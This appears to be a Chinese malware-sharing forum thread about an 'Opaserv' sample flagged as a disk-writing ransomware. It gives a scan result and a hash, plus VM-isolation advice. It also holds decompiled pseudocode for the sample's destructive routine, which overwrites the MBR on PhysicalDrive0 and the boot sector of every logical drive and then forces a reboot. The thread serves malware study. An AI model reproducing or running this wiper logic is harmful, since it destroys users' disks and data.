Opaserv

Flactine

会破坏MBR及分区表


密码：virus

沧桑浪子

类型：
感染型病毒(Win32/Ransom.DiskWriter.HxQBzS8A)

描述：
感染型病毒(Win32/Ransom.DiskWriter.HxQBzS8A)

扫描引擎：
360云查杀引擎

文件路径：
F:\360SANDBOX\SHADOW\7\Opaserv\Opaserv.exe

文件指纹(MD5)：
aacd03ba318677c2522dfd89524d6e61

郢都离人

请教一下，这种样本在虚拟机上运行，会影响实机不？

Flactine

郢都离人 发表于 2023-7-5 10:47
请教一下，这种样本在虚拟机上运行，会影响实机不？

把虚拟机的网卡禁用了或者把网卡删了就行了，不放心的话在“客户机隔离”里把“启用拖放”和“启用复制粘贴”也关了

喀反

郢都离人 发表于 2023-7-5 10:47
请教一下，这种样本在虚拟机上运行，会影响实机不？

不会

ytysh

TACHYON IS 6.0 Kill

猥琐大叔

wowocock

郢都离人 发表于 2023-7-5 10:47
请教一下，这种样本在虚拟机上运行，会影响实机不？

你想多了。
int start()
{
  HANDLE FileA; // esi
  HANDLE CurrentProcess; // eax
  DWORD NumberOfBytesWritten; // [esp+4h] [ebp-18h] BYREF
  struct _TOKEN_PRIVILEGES NewState; // [esp+8h] [ebp-14h] BYREF

  sub_4010E0();
  FileA = CreateFileA("\\\\.\\PhysicalDrive0", 0xC0000000, 3u, 0, 3u, 0, 0);
  SetFilePointer(FileA, 0, 0, 0);
  WriteFile(FileA, &unk_403008, 0x200u, &NumberOfBytesWritten, 0);
  CloseHandle(FileA);
  CurrentProcess = GetCurrentProcess();
  OpenProcessToken(CurrentProcess, 0x28u, (PHANDLE)&NumberOfBytesWritten);
  LookupPrivilegeValueA(0, "SeShutdownPrivilege", &NewState.Privileges[0].Luid);
  NewState.PrivilegeCount = 1;
  NewState.Privileges[0].Attributes = 2;
  AdjustTokenPrivileges((HANDLE)NumberOfBytesWritten, 0, &NewState, 0, 0, 0);
  ExitWindowsEx(6u, 0x10007u);
  return 0;
}

wowocock

DWORD sub_4010E0()
{
  HLOCAL v0; // ebx
  DWORD result; // eax
  CHAR *p_Buffer; // edi
  HANDLE FileA; // esi
  bool v4; // zf
  DWORD NumberOfBytesWritten; // [esp+4h] [ebp-114h] BYREF
  CHAR Buffer; // [esp+8h] [ebp-110h] BYREF
  char v7[259]; // [esp+9h] [ebp-10Fh] BYREF
  CHAR FileName[8]; // [esp+10Ch] [ebp-Ch] BYREF

  v0 = LocalAlloc(0, 0x1400u);
  Buffer = 0;
  sub_401320((int)v7, 0, 259u);
  result = GetLogicalDriveStringsA(0x104u, &Buffer) - 1;
  if ( result <= 0x103 )
  {
    p_Buffer = &Buffer;
    if ( Buffer )
    {
      do
      {
        strcpy(FileName, "\\\\.\\");
        *(_WORD *)&FileName[4] = *(_WORD *)p_Buffer;
        FileA = CreateFileA(FileName, 0xC0000000, 3u, 0, 3u, 0, 0);
        WriteFile(FileA, v0, 0x1400u, &NumberOfBytesWritten, 0);
        DeviceIoControl(FileA, 0x90020u, 0, 0, 0, 0, &NumberOfBytesWritten, 0);
        CloseHandle(FileA);
        LocalFree(v0);
        result = strlen(p_Buffer);
        v4 = p_Buffer[result + 1] == 0;
        p_Buffer += result + 1;
      }
      while ( !v4 );
    }
  }
  return result;
}
除了干MBR外，还会干每个逻辑盘的引导区。

biue